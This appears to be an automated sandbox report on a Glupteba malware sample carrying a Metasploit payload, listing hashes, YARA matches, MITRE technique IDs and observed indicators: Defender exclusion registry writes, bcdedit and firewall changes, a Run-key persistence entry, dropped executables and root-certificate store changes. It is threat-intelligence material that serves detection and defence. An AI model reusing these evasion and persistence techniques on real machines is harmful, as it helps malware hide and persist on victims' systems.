glupteba | 5f9c7df75c9a1dd3d35653d404d346acbceb5d588479daeaee5ba37ee92e0dfd

Analysis

max time kernel
150s
max time network
150s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
20/07/2024, 22:16

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General

Target

app.exe
Size

4.4MB
MD5

a6a6273d29cecf465de73ee6d11861c2
SHA1

d3eccd9bb6c17698e726ded7b9f9893a51c5424f
SHA256

5f9c7df75c9a1dd3d35653d404d346acbceb5d588479daeaee5ba37ee92e0dfd
SHA512

f20e942a7f64bcba37a84ee9210f5f9b484b60a6077791c38fb0e0b984d51570a887cdc96d18aeb2503469e767d6e31b4eb32676f07b016aed5af06f88a097c1
SSDEEP

49152:9qxYJWuwdHTjE3czWc6SG+IG/k8i4RjCrnrQJVq9BFAFvHbRC+VFHyY0Cer4TXVX:9KYwJH3nzWvSTIY7jCrj6jbHyYXk9yz

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence privilege_escalation trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 18 IoCs

resource	yara_rule
behavioral1/memory/1768-2-0x0000000000400000-0x0000000002FCF000-memory.dmp	family_glupteba
behavioral1/memory/1768-3-0x0000000000400000-0x0000000002FCF000-memory.dmp	family_glupteba
behavioral1/memory/1768-5-0x0000000000400000-0x0000000002FCF000-memory.dmp	family_glupteba
behavioral1/memory/3000-15-0x0000000000400000-0x0000000002FCF000-memory.dmp	family_glupteba
behavioral1/memory/2780-52-0x0000000000400000-0x0000000002FCF000-memory.dmp	family_glupteba
behavioral1/memory/2780-64-0x0000000000400000-0x0000000002FCF000-memory.dmp	family_glupteba
behavioral1/memory/2780-65-0x0000000000400000-0x0000000002FCF000-memory.dmp	family_glupteba
behavioral1/memory/2780-66-0x0000000000400000-0x0000000002FCF000-memory.dmp	family_glupteba
behavioral1/memory/2780-67-0x0000000000400000-0x0000000002FCF000-memory.dmp	family_glupteba
behavioral1/memory/2780-68-0x0000000000400000-0x0000000002FCF000-memory.dmp	family_glupteba
behavioral1/memory/2780-72-0x0000000000400000-0x0000000002FCF000-memory.dmp	family_glupteba
behavioral1/memory/2780-73-0x0000000000400000-0x0000000002FCF000-memory.dmp	family_glupteba
behavioral1/memory/2780-74-0x0000000000400000-0x0000000002FCF000-memory.dmp	family_glupteba
behavioral1/memory/2780-75-0x0000000000400000-0x0000000002FCF000-memory.dmp	family_glupteba
behavioral1/memory/2780-76-0x0000000000400000-0x0000000002FCF000-memory.dmp	family_glupteba
behavioral1/memory/2780-77-0x0000000000400000-0x0000000002FCF000-memory.dmp	family_glupteba
behavioral1/memory/2780-78-0x0000000000400000-0x0000000002FCF000-memory.dmp	family_glupteba
behavioral1/memory/2780-101-0x0000000000400000-0x0000000002FCF000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Windows security bypass 2 TTPs 10 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\app.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\BillowingSurf = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	app.exe

Modifies boot configuration data using bcdedit 14 IoCs

pid	Process
2664	bcdedit.exe
808	bcdedit.exe
1768	bcdedit.exe
2880	bcdedit.exe
2748	bcdedit.exe
2828	bcdedit.exe
2888	bcdedit.exe
3024	bcdedit.exe
3048	bcdedit.exe
804	bcdedit.exe
2792	bcdedit.exe
2364	bcdedit.exe
1052	bcdedit.exe
976	bcdedit.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2992	netsh.exe

Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command and Scripting Interpreter
T1059

Executes dropped EXE 3 IoCs

pid	Process
2780	csrss.exe
2968	patch.exe
3020	dsefix.exe

Loads dropped DLL 12 IoCs

pid	Process
3000	app.exe
3000	app.exe
836	Process not Found
2968	patch.exe
2968	patch.exe
2968	patch.exe
2968	patch.exe
2968	patch.exe
2968	patch.exe
2968	patch.exe
2968	patch.exe
2780	csrss.exe

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\BillowingSurf = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\app.exe = "0"	app.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Windows\CurrentVersion\Run\BillowingSurf = "\"C:\\Windows\\rss\\csrss.exe\""	app.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	app.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	app.exe
File created	C:\Windows\rss\csrss.exe	app.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20240720221646.cab	makecab.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	app.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-421 = "Russian Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"	app.exe

Modifies system certificate store 2 TTPs 9 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b80f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe
